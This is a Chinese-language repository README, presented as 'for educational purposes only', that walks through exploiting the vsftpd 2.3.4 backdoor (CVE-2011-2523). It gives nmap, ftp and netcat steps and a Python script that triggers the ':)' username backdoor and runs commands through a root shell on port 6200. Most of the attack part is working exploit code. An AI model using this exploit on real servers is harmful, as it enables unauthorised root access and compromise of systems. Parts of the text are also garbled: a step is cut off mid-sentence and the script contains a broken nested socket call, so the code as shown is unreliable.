
vsftpd 2.3.4(CVE-2011-2523)是一个严重漏洞,可导致获取 Root Shell。在本仓库中,我将手动和自动(Python)方式逐步演示如何利用该漏洞,仅供教育目的。
该漏洞是什么?
首先,这是一个服务端漏洞,因此我们可以远程利用它。其原理是:当使用包含 :) 的用户名连接默认端口 21 上的 FTP 服务时,系统会被触发打开一个 TCP 端口 6200,并提供一个 Root Shell,这样任何人都可以连接并获取目标服务器的 Root 访问权限,这简直是灾难。那么让我们一步步实际操作。我会先手动解释以让你全面了解,然后提供一个 Python 脚本来自动利用。
nmap -p21 -sV -sC -O 目标IP
nmap -p6200 目标IP
ftp 目标IP
nmap -p6200 目标IP
端口 6200 现在已开放,这就是我们的后门

nc -nv 目标IP 6200
最终,我们在目标机器上获取了一个 Root Shell。

在手动操作之后,我们知道了利用步骤:
:) 的用户名触发后门。#!/usr/bin/python3
from ftplib import FTP
import socket
import sys
import time
目标IP = sys.argv[1]
cmd = sys.argv[2]
# 步骤1: 连接 FTP
try:
ftp = FTP(目标IP,timeout=2)
ftp.login("user:)","password") # 步骤2: 发送恶意用户名
except:
pass
time.sleep(1) # 给服务器一点时间打开端口(6200)
#步骤3: 连接到端口(6200)获取 Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
shell.connect((目标IP,6200))
except:
print("Shell 失败")
#执行命令
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())
#最后关闭连接
shell.close()